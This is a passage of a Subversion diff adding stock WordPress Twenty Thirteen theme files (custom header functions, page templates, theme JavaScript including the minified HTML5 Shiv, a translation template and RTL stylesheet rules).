+		),
+		'diamond' => array(
+			'url'           => '%s/images/headers/diamond.png',
+			'thumbnail_url' => '%s/images/headers/diamond-thumbnail.png',
+			'description'   => _x( 'Diamond', 'header image description', 'twentythirteen' )
+		),
+		'star' => array(
+			'url'           => '%s/images/headers/star.png',
+			'thumbnail_url' => '%s/images/headers/star-thumbnail.png',
+			'description'   => _x( 'Star', 'header image description', 'twentythirteen' )
+		),
+	) );
+}
+add_action( 'after_setup_theme', 'twentythirteen_custom_header_setup', 11 );
+
+/**
+ * Load our special font CSS files.
+ *
+ * @since Twenty Thirteen 1.0
+ */
+function twentythirteen_custom_header_fonts() {
+	// Add Source Sans Pro and Bitter fonts.
+	wp_enqueue_style( 'twentythirteen-fonts', twentythirteen_fonts_url(), array(), null );
+
+	// Add Genericons font.
+	wp_enqueue_style( 'genericons', get_template_directory_uri() . '/genericons/genericons.css', array(), '3.03' );
+}
+add_action( 'admin_print_styles-appearance_page_custom-header', 'twentythirteen_custom_header_fonts' );
+
+/**
+ * Style the header text displayed on the blog.
+ *
+ * get_header_textcolor() options: Hide text (returns 'blank'), or any hex value.
+ *
+ * @since Twenty Thirteen 1.0
+ */
+function twentythirteen_header_style() {
+	$header_image = get_header_image();
+	$text_color   = get_header_textcolor();
+
+	// If no custom options for text are set, let's bail.
+	if ( empty( $header_image ) && $text_color == get_theme_support( 'custom-header', 'default-text-color' ) )
+		return;
+
+	// If we get this far, we have custom styles.
+	?>
+	<style type="text/css" id="twentythirteen-header-css">
+	<?php
+		if ( ! empty( $header_image ) ) :
+	?>
+		.site-header {
+			background: url(<?php header_image(); ?>) no-repeat scroll top;
+			background-size: 1600px auto;
+		}
+		@media (max-width: 767px) {
+			.site-header {
+				background-size: 768px auto;
+			}
+		}
+		@media (max-width: 359px) {
+			.site-header {
+				background-size: 360px auto;
+			}
+		}
+	<?php
+		endif;
+
+		// Has the text been hidden?
+		if ( ! display_header_text() ) :
+	?>
+		.site-title,
+		.site-description {
+			position: absolute;
+			clip: rect(1px 1px 1px 1px); /* IE7 */
+			clip: rect(1px, 1px, 1px, 1px);
+		}
+	<?php
+			if ( empty( $header_image ) ) :
+	?>
+		.site-header .home-link {
+			min-height: 0;
+		}
+	<?php
+			endif;
+
+		// If the user has set a custom color for the text, use that.
+		elseif ( $text_color != get_theme_support( 'custom-header', 'default-text-color' ) ) :
+	?>
+		.site-title,
+		.site-description {
+			color: #<?php echo esc_attr( $text_color ); ?>;
+		}
+	<?php endif; ?>
+	</style>
+	<?php
+}
+
+/**
+ * Style the header image displayed on the Appearance > Header admin panel.
+ *
+ * @since Twenty Thirteen 1.0
+ */
+function twentythirteen_admin_header_style() {
+	$header_image = get_header_image();
+?>
+	<style type="text/css" id="twentythirteen-admin-header-css">
+	.appearance_page_custom-header #headimg {
+		border: none;
+		-webkit-box-sizing: border-box;
+		-moz-box-sizing:    border-box;
+		box-sizing:         border-box;
+		<?php
+		if ( ! empty( $header_image ) ) {
+			echo 'background: url(' . esc_url( $header_image ) . ') no-repeat scroll top; background-size: 1600px auto;';
+		} ?>
+		padding: 0 20px;
+	}
+	#headimg .home-link {
+		-webkit-box-sizing: border-box;
+		-moz-box-sizing:    border-box;
+		box-sizing:         border-box;
+		margin: 0 auto;
+		max-width: 1040px;
+		<?php
+		if ( ! empty( $header_image ) || display_header_text() ) {
+			echo 'min-height: 230px;';
+		} ?>
+		width: 100%;
+	}
+	<?php if ( ! display_header_text() ) : ?>
+	#headimg h1,
+	#headimg h2 {
+		position: absolute !important;
+		clip: rect(1px 1px 1px 1px); /* IE7 */
+		clip: rect(1px, 1px, 1px, 1px);
+	}
+	<?php endif; ?>
+	#headimg h1 {
+		font: bold 60px/1 Bitter, Georgia, serif;
+		margin: 0;
+		padding: 58px 0 10px;
+	}
+	#headimg h1 a {
+		text-decoration: none;
+	}
+	#headimg h1 a:hover {
+		text-decoration: underline;
+	}
+	#headimg h2 {
+		font: 200 italic 24px "Source Sans Pro", Helvetica, sans-serif;
+		margin: 0;
+		text-shadow: none;
+	}
+	.default-header img {
+		max-width: 230px;
+		width: auto;
+	}
+	</style>
+<?php
+}
+
+/**
+ * Output markup to be displayed on the Appearance > Header admin panel.
+ *
+ * This callback overrides the default markup displayed there.
+ *
+ * @since Twenty Thirteen 1.0
+ */
+function twentythirteen_admin_header_image() {
+	?>
+	<div id="headimg" style="background: url(<?php header_image(); ?>) no-repeat scroll top; background-size: 1600px auto;">
+		<?php $style = ' style="color:#' . get_header_textcolor() . ';"'; ?>
+		<div class="home-link">
+			<h1 class="displaying-header-text"><a id="name"<?php echo $style; ?> onclick="return false;" href="#" tabindex="-1"><?php bloginfo( 'name' ); ?></a></h1>
+			<h2 id="desc" class="displaying-header-text"<?php echo $style; ?>><?php bloginfo( 'description' ); ?></h2>
+		</div>
+	</div>
+<?php }
Index: /tags/4.1.6/src/wp-content/themes/twentythirteen/index.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentythirteen/index.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentythirteen/index.php	(revision 33402)
@@ -0,0 +1,38 @@
+<?php
+/**
+ * The main template file
+ *
+ * This is the most generic template file in a WordPress theme and one of the
+ * two required files for a theme (the other being style.css).
+ * It is used to display a page when nothing more specific matches a query.
+ * For example, it puts together the home page when no home.php file exists.
+ *
+ * @link http://codex.wordpress.org/Template_Hierarchy
+ *
+ * @package WordPress
+ * @subpackage Twenty_Thirteen
+ * @since Twenty Thirteen 1.0
+ */
+
+get_header(); ?>
+
+	<div id="primary" class="content-area">
+		<div id="content" class="site-content" role="main">
+		<?php if ( have_posts() ) : ?>
+
+			<?php /* The loop */ ?>
+			<?php while ( have_posts() ) : the_post(); ?>
+				<?php get_template_part( 'content', get_post_format() ); ?>
+			<?php endwhile; ?>
+
+			<?php twentythirteen_paging_nav(); ?>
+
+		<?php else : ?>
+			<?php get_template_part( 'content', 'none' ); ?>
+		<?php endif; ?>
+
+		</div><!-- #content -->
+	</div><!-- #primary -->
+
+<?php get_sidebar(); ?>
+<?php get_footer(); ?>
Index: /tags/4.1.6/src/wp-content/themes/twentythirteen/js/functions.js
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentythirteen/js/functions.js	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentythirteen/js/functions.js	(revision 33402)
@@ -0,0 +1,103 @@
+/**
+ * Functionality specific to Twenty Thirteen.
+ *
+ * Provides helper functions to enhance the theme experience.
+ */
+
+( function( $ ) {
+	var body    = $( 'body' ),
+	    _window = $( window );
+
+	/**
+	 * Adds a top margin to the footer if the sidebar widget area is higher
+	 * than the rest of the page, to help the footer always visually clear
+	 * the sidebar.
+	 */
+	$( function() {
+		if ( body.is( '.sidebar' ) ) {
+			var sidebar   = $( '#secondary .widget-area' ),
+			    secondary = ( 0 === sidebar.length ) ? -40 : sidebar.height(),
+			    margin    = $( '#tertiary .widget-area' ).height() - $( '#content' ).height() - secondary;
+
+			if ( margin > 0 && _window.innerWidth() > 999 ) {
+				$( '#colophon' ).css( 'margin-top', margin + 'px' );
+			}
+		}
+	} );
+
+	/**
+	 * Enables menu toggle for small screens.
+	 */
+	( function() {
+		var nav = $( '#site-navigation' ), button, menu;
+		if ( ! nav ) {
+			return;
+		}
+
+		button = nav.find( '.menu-toggle' );
+		if ( ! button ) {
+			return;
+		}
+
+		// Hide button if menu is missing or empty.
+		menu = nav.find( '.nav-menu' );
+		if ( ! menu || ! menu.children().length ) {
+			button.hide();
+			return;
+		}
+
+		button.on( 'click.twentythirteen', function() {
+			nav.toggleClass( 'toggled-on' );
+		} );
+
+		// Fix sub-menus for touch devices.
+		if ( 'ontouchstart' in window ) {
+			menu.find( '.menu-item-has-children > a' ).on( 'touchstart.twentythirteen', function( e ) {
+				var el = $( this ).parent( 'li' );
+
+				if ( ! el.hasClass( 'focus' ) ) {
+					e.preventDefault();
+					el.toggleClass( 'focus' );
+					el.siblings( '.focus' ).removeClass( 'focus' );
+				}
+			} );
+		}
+
+		// Better focus for hidden submenu items for accessibility.
+		menu.find( 'a' ).on( 'focus.twentythirteen blur.twentythirteen', function() {
+			$( this ).parents( '.menu-item, .page_item' ).toggleClass( 'focus' );
+		} );
+	} )();
+
+	/**
+	 * Makes "skip to content" link work correctly in IE9 and Chrome for better
+	 * accessibility.
+	 *
+	 * @link http://www.nczonline.net/blog/2013/01/15/fixing-skip-to-content-links/
+	 */
+	_window.on( 'hashchange.twentythirteen', function() {
+		var element = document.getElementById( location.hash.substring( 1 ) );
+
+		if ( element ) {
+			if ( ! /^(?:a|select|input|button|textarea)$/i.test( element.tagName ) ) {
+				element.tabIndex = -1;
+			}
+
+			element.focus();
+		}
+	} );
+
+	/**
+	 * Arranges footer widgets vertically.
+	 */
+	if ( $.isFunction( $.fn.masonry ) ) {
+		var columnWidth = body.is( '.sidebar' ) ? 228 : 245;
+
+		$( '#secondary .widget-area' ).masonry( {
+			itemSelector: '.widget',
+			columnWidth: columnWidth,
+			gutterWidth: 20,
+			isRTL: body.is( '.rtl' )
+		} );
+	}
+} )( jQuery );
Index: /tags/4.1.6/src/wp-content/themes/twentythirteen/js/html5.js
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentythirteen/js/html5.js	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentythirteen/js/html5.js	(revision 33402)
@@ -0,0 +1,8 @@
+/*
+ HTML5 Shiv v3.7.0 | @afarkas @jdalton @jon_neal @rem | MIT/GPL2 Licensed
+*/
+(function(l,f){function m(){var a=e.elements;return"string"==typeof a?a.split(" "):a}function i(a){var b=n[a[o]];b||(b={},h++,a[o]=h,n[h]=b);return b}function p(a,b,c){b||(b=f);if(g)return b.createElement(a);c||(c=i(b));b=c.cache[a]?c.cache[a].cloneNode():r.test(a)?(c.cache[a]=c.createElem(a)).cloneNode():c.createElem(a);return b.canHaveChildren&&!s.test(a)?c.frag.appendChild(b):b}function t(a,b){if(!b.cache)b.cache={},b.createElem=a.createElement,b.createFrag=a.createDocumentFragment,b.frag=b.createFrag();
+a.createElement=function(c){return!e.shivMethods?b.createElem(c):p(c,a,b)};a.createDocumentFragment=Function("h,f","return function(){var n=f.cloneNode(),c=n.createElement;h.shivMethods&&("+m().join().replace(/[\w\-]+/g,function(a){b.createElem(a);b.frag.createElement(a);return'c("'+a+'")'})+");return n}")(e,b.frag)}function q(a){a||(a=f);var b=i(a);if(e.shivCSS&&!j&&!b.hasCSS){var c,d=a;c=d.createElement("p");d=d.getElementsByTagName("head")[0]||d.documentElement;c.innerHTML="x<style>article,aside,dialog,figcaption,figure,footer,header,hgroup,main,nav,section{display:block}mark{background:#FF0;color:#000}template{display:none}</style>";
+c=d.insertBefore(c.lastChild,d.firstChild);b.hasCSS=!!c}g||t(a,b);return a}var k=l.html5||{},s=/^<|^(?:button|map|select|textarea|object|iframe|option|optgroup)$/i,r=/^(?:a|b|code|div|fieldset|h1|h2|h3|h4|h5|h6|i|label|li|ol|p|q|span|strong|style|table|tbody|td|th|tr|ul)$/i,j,o="_html5shiv",h=0,n={},g;(function(){try{var a=f.createElement("a");a.innerHTML="<xyz></xyz>";j="hidden"in a;var b;if(!(b=1==a.childNodes.length)){f.createElement("a");var c=f.createDocumentFragment();b="undefined"==typeof c.cloneNode||
+"undefined"==typeof c.createDocumentFragment||"undefined"==typeof c.createElement}g=b}catch(d){g=j=!0}})();var e={elements:k.elements||"abbr article aside audio bdi canvas data datalist details dialog figcaption figure footer header hgroup main mark meter nav output progress section summary template time video",version:"3.7.0",shivCSS:!1!==k.shivCSS,supportsUnknownElements:g,shivMethods:!1!==k.shivMethods,type:"default",shivDocument:q,createElement:p,createDocumentFragment:function(a,b){a||(a=f);
+if(g)return a.createDocumentFragment();for(var b=b||i(a),c=b.frag.cloneNode(),d=0,e=m(),h=e.length;d<h;d++)c.createElement(e[d]);return c}};l.html5=e;q(f)})(this,document);
Index: /tags/4.1.6/src/wp-content/themes/twentythirteen/js/theme-customizer.js
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentythirteen/js/theme-customizer.js	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentythirteen/js/theme-customizer.js	(revision 33402)
@@ -0,0 +1,41 @@
+/**
+ * Customizer enhancements for a better user experience.
+ *
+ * Contains handlers to make Customizer preview reload changes asynchronously.
+ * Things like site title and description changes.
+ */
+
+( function( $ ) {
+	// Site title and description.
+	wp.customize( 'blogname', function( value ) {
+		value.bind( function( to ) {
+			$( '.site-title' ).text( to );
+		} );
+	} );
+	wp.customize( 'blogdescription', function( value ) {
+		value.bind( function( to ) {
+			$( '.site-description' ).text( to );
+		} );
+	} );
+	// Header text color.
+	wp.customize( 'header_textcolor', function( value ) {
+		value.bind( function( to ) {
+			if ( 'blank' == to ) {
+				if ( 'remove-header' == wp.customize.instance( 'header_image' ).get() ) {
+					$( '.home-link' ).css( 'min-height', '0' );
+				}
+				$( '.site-title, .site-description' ).css( {
+					'clip': 'rect(1px, 1px, 1px, 1px)',
+					'position': 'absolute'
+				} );
+			} else {
+				$( '.home-link' ).css( 'min-height', '230px' );
+				$( '.site-title, .site-description' ).css( {
+					'clip': 'auto',
+					'color': to,
+					'position': 'relative'
+				} );
+			}
+		} );
+	} );
+} )( jQuery );
Index: /tags/4.1.6/src/wp-content/themes/twentythirteen/languages/twentythirteen.pot
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentythirteen/languages/twentythirteen.pot	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentythirteen/languages/twentythirteen.pot	(revision 33402)
@@ -0,0 +1,335 @@
+# Copyright (C) 2014 the WordPress team
+# This file is distributed under the GNU General Public License v2 or later.
+msgid ""
+msgstr ""
+"Project-Id-Version: Twenty Thirteen 1.4\n"
+"Report-Msgid-Bugs-To: http://wordpress.org/tags/twentythirteen\n"
+"POT-Creation-Date: 2014-12-18 16:59:50+00:00\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"PO-Revision-Date: 2014-MO-DA HO:MI+ZONE\n"
+"Last-Translator: FULL NAME <EMAIL@ADDRESS>\n"
+"Language-Team: LANGUAGE <LL@li.org>\n"
+
+#: 404.php:16
+msgid "Not Found"
+msgstr ""
+
+#: 404.php:21
+msgid "This is somewhat embarrassing, isn&rsquo;t it?"
+msgstr ""
+
+#: 404.php:22
+msgid "It looks like nothing was found at this location. Maybe try a search?"
+msgstr ""
+
+#: archive.php:29
+msgid "Daily Archives: %s"
+msgstr ""
+
+#: archive.php:31
+msgid "Monthly Archives: %s"
+msgstr ""
+
+#: archive.php:31
+msgctxt "monthly archives date format"
+msgid "F Y"
+msgstr ""
+
+#: archive.php:33
+msgid "Yearly Archives: %s"
+msgstr ""
+
+#: archive.php:33
+msgctxt "yearly archives date format"
+msgid "Y"
+msgstr ""
+
+#: archive.php:35
+msgid "Archives"
+msgstr ""
+
+#: author-bio.php:26
+msgid "About %s"
+msgstr ""
+
+#: author-bio.php:30
+msgid "View all posts by %s <span class=\"meta-nav\">&rarr;</span>"
+msgstr ""
+
+#: author.php:31
+msgid "All posts by %s"
+msgstr ""
+
+#: category.php:19
+msgid "Category Archives: %s"
+msgstr ""
+
+#: comments.php:25
+msgctxt "comments title"
+msgid "One thought on &ldquo;%2$s&rdquo;"
+msgid_plural "%1$s thoughts on &ldquo;%2$s&rdquo;"
+msgstr[0] ""
+msgstr[1] ""
+
+#: comments.php:45
+msgid "Comment navigation"
+msgstr ""
+
+#: comments.php:46
+msgid "&larr; Older Comments"
+msgstr ""
+
+#: comments.php:47
+msgid "Newer Comments &rarr;"
+msgstr ""
+
+#: comments.php:52
+msgid "Comments are closed."
+msgstr ""
+
+#. translators: %s: Name of current post
+#: content-aside.php:16 content-audio.php:27 content-chat.php:26
+#: content-gallery.php:27 content-image.php:26 content-link.php:27
+#: content-quote.php:16 content-status.php:16 content-video.php:26
+#: content.php:44 functions.php:478
+msgid "Continue reading %s <span class=\"meta-nav\">&rarr;</span>"
+msgstr ""
+
+#: content-aside.php:20 content-audio.php:31 content-chat.php:30
+#: content-gallery.php:31 content-image.php:30 content-link.php:31
+#: content-quote.php:20 content-status.php:20 content-video.php:30
+#: content.php:48 image.php:70 page.php:35
+msgid "Pages:"
+msgstr ""
+
+#: content-aside.php:27 content-aside.php:35 content-audio.php:38
+#: content-chat.php:36 content-gallery.php:46 content-image.php:42
+#: content-link.php:19 content-quote.php:32 content-status.php:26
+#: content-video.php:42 content.php:31 image.php:44 page.php:39
+msgid "Edit"
+msgstr ""
+
+#: content-gallery.php:43 content-image.php:39 content-quote.php:29
+#: content-video.php:39 content.php:56
+msgid "Leave a comment"
+msgstr ""
+
+#: content-gallery.php:43 content-image.php:39 content-quote.php:29
+#: content-video.php:39 content.php:56
+msgid "One comment so far"
+msgstr ""
+
+#: content-gallery.php:43 content-image.php:39 content-quote.php:29
+#: content-video.php:39 content.php:56
+msgid "View all % comments"
+msgstr ""
+
+#: content-none.php:12
+msgid "Nothing Found"
+msgstr ""
+
+#: content-none.php:18
+msgid ""
+"Ready to publish your first post? <a href=\"%1$s\">Get started here</a>."
+msgstr ""
+
+#: content-none.php:22
+msgid ""
+"Sorry, but nothing matched your search terms. Please try again with "
+"different keywords."
+msgstr ""
+
+#: content-none.php:27
+msgid ""
+"It seems we can&rsquo;t find what you&rsquo;re looking for. Perhaps "
+"searching can help."
+msgstr ""
+
+#. #-#-#-#-#  twentythirteen.pot (Twenty Thirteen 1.4)  #-#-#-#-#
+#. Author URI of the plugin/theme
+#: footer.php:19
+msgid "http://wordpress.org/"
+msgstr ""
+
+#: footer.php:19
+msgid "Semantic Personal Publishing Platform"
+msgstr ""
+
+#: footer.php:19
+msgid "Proudly powered by %s"
+msgstr ""
+
+#: functions.php:97
+msgid "Navigation Menu"
+msgstr ""
+
+#. Translators: If there are characters in your language that are not
+#. 	 * supported by Source Sans Pro, translate this to 'off'. Do not translate
+#. 	 * into your own language.
+#: functions.php:128
+msgctxt "Source Sans Pro font: on or off"
+msgid "on"
+msgstr ""
+
+#. Translators: If there are characters in your language that are not
+#. 	 * supported by Bitter, translate this to 'off'. Do not translate into your
+#. 	 * own language.
+#: functions.php:134
+msgctxt "Bitter font: on or off"
+msgid "on"
+msgstr ""
+
+#: functions.php:218
+msgid "Page %s"
+msgstr ""
+
+#: functions.php:231
+msgid "Main Widget Area"
+msgstr ""
+
+#: functions.php:233
+msgid "Appears in the footer section of the site."
+msgstr ""
+
+#: functions.php:241
+msgid "Secondary Widget Area"
+msgstr ""
+
+#: functions.php:243
+msgid "Appears on posts and pages in the sidebar."
+msgstr ""
+
+#: functions.php:266
+msgid "Posts navigation"
+msgstr ""
+
+#: functions.php:270
+msgid "<span class=\"meta-nav\">&larr;</span> Older posts"
+msgstr ""
+
+#: functions.php:274
+msgid "Newer posts <span class=\"meta-nav\">&rarr;</span>"
+msgstr ""
+
+#: functions.php:300
+msgid "Post navigation"
+msgstr ""
+
+#: functions.php:303
+msgctxt "Previous post link"
+msgid "<span class=\"meta-nav\">&larr;</span> %title"
+msgstr ""
+
+#: functions.php:304
+msgctxt "Next post link"
+msgid "%title <span class=\"meta-nav\">&rarr;</span>"
+msgstr ""
+
+#: functions.php:322
+msgid "Sticky"
+msgstr ""
+
+#. Translators: used between list items, there is a space after the comma.
+#: functions.php:328 functions.php:334
+msgid ", "
+msgstr ""
+
+#: functions.php:343
+msgid "View all posts by %s"
+msgstr ""
+
+#: functions.php:363
+msgctxt "1: post format name. 2: date"
+msgid "%1$s on %2$s"
+msgstr ""
+
+#: functions.php:369
+msgid "Permalink to %s"
+msgstr ""
+
+#: header.php:43
+msgid "Menu"
+msgstr ""
+
+#: header.php:44
+msgid "Skip to content"
+msgstr ""
+
+#: image.php:22
+msgid ""
+"<span class=\"attachment-meta\">Published on <time class=\"entry-date\" "
+"datetime=\"%1$s\">%2$s</time> in <a href=\"%3$s\" title=\"Return to %4$s\" "
+"rel=\"gallery\">%5$s</a></span>"
+msgstr ""
+
+#: image.php:38
+msgid "Link to full-size image"
+msgstr ""
+
+#: image.php:39
+msgid "Full resolution"
+msgstr ""
+
+#: image.php:51
+msgid "<span class=\"meta-nav\">&larr;</span> Previous"
+msgstr ""
+
+#: image.php:52
+msgid "Next <span class=\"meta-nav\">&rarr;</span>"
+msgstr ""
+
+#: inc/back-compat.php:37 inc/back-compat.php:47 inc/back-compat.php:60
+msgid ""
+"Twenty Thirteen requires at least WordPress version 3.6. You are running "
+"version %s. Please upgrade and try again."
+msgstr ""
+
+#: inc/custom-header.php:49
+msgctxt "header image description"
+msgid "Circle"
+msgstr ""
+
+#: inc/custom-header.php:54
+msgctxt "header image description"
+msgid "Diamond"
+msgstr ""
+
+#: inc/custom-header.php:59
+msgctxt "header image description"
+msgid "Star"
+msgstr ""
+
+#: search.php:18
+msgid "Search Results for: %s"
+msgstr ""
+
+#: tag.php:21
+msgid "Tag Archives: %s"
+msgstr ""
+
+#: taxonomy-post_format.php:23
+msgid "%s Archives"
+msgstr ""
+
+#. Theme Name of the plugin/theme
+msgid "Twenty Thirteen"
+msgstr ""
+
+#. Theme URI of the plugin/theme
+msgid "http://wordpress.org/themes/twentythirteen"
+msgstr ""
+
+#. Description of the plugin/theme
+msgid ""
+"The 2013 theme for WordPress takes us back to the blog, featuring a full "
+"range of post formats, each displayed beautifully in their own unique way. "
+"Design details abound, starting with a vibrant color scheme and matching "
+"header images, beautiful typography and icons, and a flexible layout that "
+"looks great on any device, big or small."
+msgstr ""
+
+#. Author of the plugin/theme
+msgid "the WordPress team"
+msgstr ""
Index: /tags/4.1.6/src/wp-content/themes/twentythirteen/page.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentythirteen/page.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentythirteen/page.php	(revision 33402)
@@ -0,0 +1,50 @@
+<?php
+/**
+ * The template for displaying all pages
+ *
+ * This is the template that displays all pages by default.
+ * Please note that this is the WordPress construct of pages and that other
+ * 'pages' on your WordPress site will use a different template.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Thirteen
+ * @since Twenty Thirteen 1.0
+ */
+
+get_header(); ?>
+
+	<div id="primary" class="content-area">
+		<div id="content" class="site-content" role="main">
+
+			<?php /* The loop */ ?>
+			<?php while ( have_posts() ) : the_post(); ?>
+
+				<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+					<header class="entry-header">
+						<?php if ( has_post_thumbnail() && ! post_password_required() ) : ?>
+						<div class="entry-thumbnail">
+							<?php the_post_thumbnail(); ?>
+						</div>
+						<?php endif; ?>
+
+						<h1 class="entry-title"><?php the_title(); ?></h1>
+					</header><!-- .entry-header -->
+
+					<div class="entry-content">
+						<?php the_content(); ?>
+						<?php wp_link_pages( array( 'before' => '<div class="page-links"><span class="page-links-title">' . __( 'Pages:', 'twentythirteen' ) . '</span>', 'after' => '</div>', 'link_before' => '<span>', 'link_after' => '</span>' ) ); ?>
+					</div><!-- .entry-content -->
+
+					<footer class="entry-meta">
+						<?php edit_post_link( __( 'Edit', 'twentythirteen' ), '<span class="edit-link">', '</span>' ); ?>
+					</footer><!-- .entry-meta -->
+				</article><!-- #post -->
+
+				<?php comments_template(); ?>
+			<?php endwhile; ?>
+
+		</div><!-- #content -->
+	</div><!-- #primary -->
+
+<?php get_sidebar(); ?>
+<?php get_footer(); ?>
Index: /tags/4.1.6/src/wp-content/themes/twentythirteen/rtl.css
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentythirteen/rtl.css	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentythirteen/rtl.css	(revision 33402)
@@ -0,0 +1,766 @@
+/*
+Theme Name: Twenty Thirteen
+Description: Adds support for languages written in a Right To Left (RTL) direction.
+It's easy, just a matter of overwriting all the horizontal positioning attributes
+of your CSS stylesheet in a separate stylesheet file named rtl.css.
+
+See http://codex.wordpress.org/Right_to_Left_Language_Support
+*/
+
+/**
+ * Table of Contents:
+ *
+ * 1.0 - Reset
+ * 4.0 - Header
+ *   4.1 - Site Header
+ *   4.2 - Navigation
+ * 5.0 - Content
+ *   5.2 - Entry Meta
+ *   5.4 - Galleries
+ *   5.5 - Post Formats
+ *   5.6 - Attachments
+ *   5.7 - Post/Paging Navigation
+ *   5.8 - Author Bio
+ *   5.9 - Archives
+ *   5.10 - Search Results/No posts
+ *   5.12 - Comments
+ * 6.0 - Sidebar
+ *   6.1 - Widgets
+ * 7.0 - Footer
+ * 8.0 - Media Queries
+ * 9.0 - Print
+ * ----------------------------------------------------------------------------
+ */
+
+
+/**
+ * 1.0 Reset
+ * ----------------------------------------------------------------------------
+ */
+
+body {
+	direction: rtl;
+	unicode-bidi: embed;
+}
+
+a {
+	display: inline-block;
+}
+
+blockquote blockquote {
+	margin-left: 0;
+	margin-right: 24px;
+}
+
+menu,
+ol,
+ul {
+	padding: 0 40px 0 0;
+}
+
+caption,
+th,
+td {
+	text-align: right;
+}
+
+td {
+	padding-left: 10px;
+	padding-right: 0;
+}
+
+.assistive-text:focus {
+	left: auto;
+	right: 5px;
+}
+
+
+/**
+ * 4.0 Header
+ * ----------------------------------------------------------------------------
+ */
+
+/**
+ * 4.1 Site Header
+ * ----------------------------------------------------------------------------
+ */
+
+.site-header > a:first-child {
+	display: inherit;
+}
+
+.site-description {
+	font-style: normal;
+}
+
+
+/**
+ * 4.2 Navigation
+ * ----------------------------------------------------------------------------
+ */
+
+/* Navbar */
+ul.nav-menu,
+div.nav-menu > ul {
+	margin: 0 -20px 0 0;
+	padding: 0 0 0 40px;
+}
+
+.nav-menu .sub-menu,
+.nav-menu .children {
+	float: right;
+	left: auto;
+	right: -2px;
+}
+
+.nav-menu .sub-menu ul,
+.nav-menu .children ul {
+	border-left: 2px solid #f7f5e7;
+	border-right: 0;
+	left: auto;
+	right: 100%;
+}
+
+.main-navigation .search-form {
+	left: 0;
+	right: auto;
+}
+
+.site-header .search-field {
+	background-position: 98% center;
+	padding: 0 34px 0 0;
+}
+
+.nav-menu .current_page_item > a,
+.nav-menu .current_page_ancestor > a,
+.nav-menu .current-menu-item > a,
+.nav-menu .current-menu-ancestor > a {
+	font-style: normal;
+}
+
+.menu-toggle {
+	padding-left: 0;
+	padding-right: 20px;
+}
+
+
+/**
+ * 5.0 Content
+ * ----------------------------------------------------------------------------
+ */
+
+.sidebar .entry-header,
+.sidebar .entry-content,
+.sidebar .entry-summary,
+.sidebar .entry-meta {
+	padding-left: 376px;
+	padding-right: 60px;
+}
+
+
+/**
+ * 5.2 Entry Meta
+ * ----------------------------------------------------------------------------
+ */
+
+.entry-meta > span {
+	margin-left: 20px;
+	margin-right: auto;
+}
+
+.entry-meta > span:last-child {
+	margin-left: 0;
+	margin-right: auto;
+}
+
+.featured-post:before {
+	margin-left: 2px;
+	margin-right: auto;
+}
+
+.entry-meta .date a:before {
+	margin-left: 2px;
+}
+
+.comments-link a:before {
+	margin-left: 2px;
+	margin-right: auto;
+}
+
+.tags-links a:first-child:before {
+	margin-left: 2px;
+}
+
+.edit-link a:before {
+	margin-left: 2px;
+}
+
+.page-links .page-links-title {
+	margin-left: 20px;
+	margin-right: auto;
+}
+
+/**
+ * 5.4 Galleries
+ * ----------------------------------------------------------------------------
+ */
+
+.gallery {
+	margin-left: auto;
+	margin-right: -4px;
+}
+
+.gallery-item {
+	float: right;
+	margin: 0 0 4px 4px;
+}
+
+.gallery-item a {
+	display: inline;
+}
+
+
+/**
+ * 5.5 Post Formats
+ * ----------------------------------------------------------------------------
+ */
+
+.entry-content a {
+	display: inline;
+}
+
+.format-aside cite:before {
+	content: normal;
+	margin-right: auto;
+}
+
+.format-aside cite:after {
+	content: "\2014";
+	margin-left: 5px;
+}
+
+.format-audio .entry-content:before {
+	float: right;
+	-webkit-transform: scaleX(-1);
+	-moz-transform:    scaleX(-1);
+	-ms-transform:     scaleX(-1);
+	-o-transform:      scaleX(-1);
+	transform:         scaleX(-1);
+}
+
+.format-audio .audio-content {
+	background-position: right top;
+	float: left;
+	padding-left: 0;
+	padding-right: 35px;
+}
+
+.format-chat .entry-meta .date a:before {
+	margin-left: 4px;
+	margin-right: auto;
+}
+
+.format-image .wp-caption-text {
+	text-align: right;
+}
+
+.format-link .entry-title {
+	margin-left: 20px;
+	margin-right: auto;
+}
+
+.format-status .entry-content,
+.format-status .entry-meta {
+	padding-left: 0;
+	padding-right: 35px;
+}
+
+.sidebar .format-status .entry-content,
+.sidebar .format-status .entry-meta {
+	padding-left: 376px;
+	padding-right: 95px;
+}
+
+.format-status .entry-content:before,
+.format-status .entry-meta:before {
+	left: auto;
+	right: 10px;
+}
+
+.sidebar .format-status .entry-content:before,
+.sidebar .format-status .entry-meta:before {
+	left: auto;
+	right: 70px;
+}
+
+.format-status .entry-content p:first-child:before {
+	left: auto;
+	right: 4px;
+}
+
+.sidebar .format-status .entry-content p:first-child:before {
+	left: auto;
+	right: 64px;
+}
+
+.format-quote blockquote {
+	padding-left: 0;
+	padding-right: 75px;
+}
+
+.format-quote blockquote:before {
+	content: '\201D';
+	padding-left: 25px;
+	padding-right: 0;
+	left: auto;
+	right: -15px;
+}
+
+
+/**
+ * 5.6 Attachments
+ * ----------------------------------------------------------------------------
+ */
+
+.attachment .entry-title {
+	float: right;
+}
+
+.attachment .entry-title:before {
+	margin-left: 10px;
+	margin-right: auto;
+}
+
+.attachment .entry-meta {
+	float: left;
+}
+
+.image-navigation .nav-previous {
+	left: auto;
+	right: 0;
+}
+
+.image-navigation .nav-next {
+	left: 0;
+	right: auto;
+}
+
+.attachment .entry-caption {
+	text-align: right;
+}
+
+
+/**
+ * 5.7 Post/Paging Navigation
+ * ----------------------------------------------------------------------------
+ */
+
